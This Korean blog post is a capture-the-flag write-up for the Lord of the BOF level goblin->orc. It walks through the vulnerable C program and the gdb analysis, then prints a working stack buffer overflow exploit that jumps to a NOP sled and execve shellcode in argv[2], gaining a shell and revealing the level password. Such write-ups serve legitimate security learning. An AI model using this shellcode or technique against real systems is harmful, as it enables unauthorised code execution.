[LOB] - goblin -> orc 풀이
/*
The Lord of the BOF : The Fellowship of the BOF
- orc
- egghunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
이번 문제는 40bytes를 저장할 수 있는 buffer와 if문에서 RET 주소가 \xbf 인지 확인하는 코드가 추가 되었다.
즉 RET에는 공유 라이브러리 함수를 쓸 수 없다(RTL 방어).
그렇다면 이번에는 argv[2]에 shellcode를 넣어 공격을 해보겠다.
우선 위 바이너리를 gdb로 분석하기 위해 copy 하고 argv[2]의 주소를 찾아보자.
[goblin@localhost goblin]gdb -q orc_copy
(gdb)
argv[2]의 주소를 찾기 위해서는 argv[1]의 주소를 찾아 그 근방을 뒤져보면 알 수 있을 것이다. main함수를 까보면 strcpy 함수에서 main+184 가 argv[1]의 주소를 stack에 push 하는 곳이다. 따라서 main+185에 breakpoint 해준다.
(gdb) disas main
Dump of assembler code for function main:
...
0x80485b6 <main+182>: mov (%eax),%edx
0x80485b8 <main+184>: push %edx
0x80485b9 <main+185>: lea 0xffffffd8(%ebp),%eax
0x80485bc <main+188>: push %eax
0x80485bd <main+189>: call 0x8048440 <strcpy>
0x80485c2 <main+194>: add $0x8,%esp
...
(gdb) b *main+185
그 다음 if 조건문을 통과하기 위해 48번째에 '\xbf' 값을 넣어주고 두번째 인자 값에는 BBBB 값을 넣어준다.
$ESP 레지스터 값을 보면 argv[1]의 주소가 저장된 것을 볼 수 있다.
(gdb) r `python -c 'print "A"*47+"\xbf"'` BBBB
Starting program: /home/goblin/orc_copy `python -c 'print "A"*47+"\xbf"'` BBBB
Breakpoint 1, 0x80485b9 in main ()
(gdb) x/wx $esp
0xbffffc38: 0xbffffdc5
(gdb)
argv[1]의 주소로 들어가면 A가 47개로 채워져 있고 그 뒤에 BBBB 값이 채워진 것을 볼 수 있다. 따라서 argv[2]의 주소는 0xbffffdf6 인 것을 알 수 있다. 여기에 shellcode를 넣고 RET에 argv[2] 주소를 넣으면 shell을 획득 할 수 있을 것이다.
(gdb) x/100wx 0xbffffdc5
0xbffffdc5: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffdd5: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffde5: 0x41414141 0x41414141 0x41414141 0xbf414141
0xbffffdf5: 0x42424200 0x00000042 0x00000000 0x00000000
0xbffffe05: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe15: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe25: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffe35: 0x00000000 0x00000000 0x00000000 0x00000000
따라서 아래처럼 인자를 넘겨주면 된다.
argv[1] = [Dummy Code(44bytes)] + [argv[2] addr]
argv[2] = [NOP * 100 + shellcode]
하지만 에러가 뜬다. core 파일을 gdb로 분석해서 제대로된 argv[2] 주소를 찾아보자.
[goblin@localhost goblin]$ ./orc_copy `python -c 'print "A"*44+"\xf6\xfd\xff\xbf"'` `python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
[goblin@localhost goblin]$ gdb -c core -q
stack을 보기 위해 x/100wx $esp 명령어를 입력하여 stack을 보면 아래에 44개의 A 문자와 \x90 문자가 들어간 것을 볼 수 있다. 그 값들의 주소를 아무거나 가져온다. 필자는 \xbffffd80 주소를 가져왔다.
(gdb) x/100wx $esp
0xbffffc00: 0x00000000 0xbffffc44 0xbffffc54 0x40013868
0xbffffc10: 0x00000003 0x08048450 0x00000000 0x08048471
0xbffffc20: 0x08048500 0x00000003 0xbffffc44 0x08048390
0xbffffc30: 0x0804860c 0x4000ae60 0xbffffc3c 0x40013e90
0xbffffc40: 0x00000003 0xbffffd3f 0xbffffd4a 0xbffffd7b
0xbffffc50: 0x00000000 0xbffffdf9 0xbffffe0a 0xbffffe4c
0xbffffc60: 0xbffffe6b 0xbffffe8d 0xbffffe99 0xbffffea4
0xbffffc70: 0xbffffec3 0xbffffedf 0xbffffef4 0xbfffff12
0xbffffc80: 0xbfffff1d 0xbfffff2c 0xbfffff34 0xbfffff45
0xbffffc90: 0xbfffff4f 0xbfffff5d 0xbfffff6e 0xbfffff7c
0xbffffca0: 0xbfffff90 0xbfffffa2 0xbfffffe4 0x00000000
0xbffffcb0: 0x00000003 0x08048034 0x00000004 0x00000020
0xbffffcc0: 0x00000005 0x00000006 0x00000006 0x00001000
0xbffffcd0: 0x00000007 0x40000000 0x00000008 0x00000000
0xbffffce0: 0x00000009 0x08048450 0x0000000b 0x000001f7
0xbffffcf0: 0x0000000c 0x000001f7 0x0000000d 0x000001f7
0xbffffd00: 0x0000000e 0x000001f7 0x00000010 0x0f8bfbff
0xbffffd10: 0x0000000f 0xbffffd3a 0x00000000 0x00000000
0xbffffd20: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffd30: 0x00000000 0x00000000 0x36690000 0x2e003638
0xbffffd40: 0x63726f2f 0x706f635f 0x41410079 0x41414141
0xbffffd50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffd60: 0x41414141 0x41414141 0x41414141 0x41414141
---Type <return> to continue, or q <return> to quit---
0xbffffd70: 0x41414141 0xfdf64141 0x9000bfff 0x90909090
0xbffffd80: 0x90909090 0x90909090 0x90909090 0x90909090
RET에 주소를 넣으니 shell을 획득 할 수 있다.
[goblin@localhost goblin]$ ./orc `python -c 'print "A"*44+"\x80\xfd\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
bash$ whoami
orc
bash$ my-pass
euid = 504
cantata
bash$
'🚩CTF' 카테고리의 다른 글
[LOB] - wolfman -> darkelf 풀이 (0) | 2019.10.04 |
---|---|
[LOB] - orc -> wolfman 풀이 (0) | 2019.10.04 |
[LOB] - cobolt -> goblin 풀이 (0) | 2019.10.04 |
[LOB] - gremlin -> cobolt 풀이 (0) | 2019.10.04 |
[LOB] - gate -> gremlin 풀이 (0) | 2019.10.04 |
댓글
이 글 공유하기
다른 글
-
[LOB] - wolfman -> darkelf 풀이
[LOB] - wolfman -> darkelf 풀이
2019.10.04 -
[LOB] - orc -> wolfman 풀이
[LOB] - orc -> wolfman 풀이
2019.10.04 -
[LOB] - cobolt -> goblin 풀이
[LOB] - cobolt -> goblin 풀이
2019.10.04 -
[LOB] - gremlin -> cobolt 풀이
[LOB] - gremlin -> cobolt 풀이
2019.10.04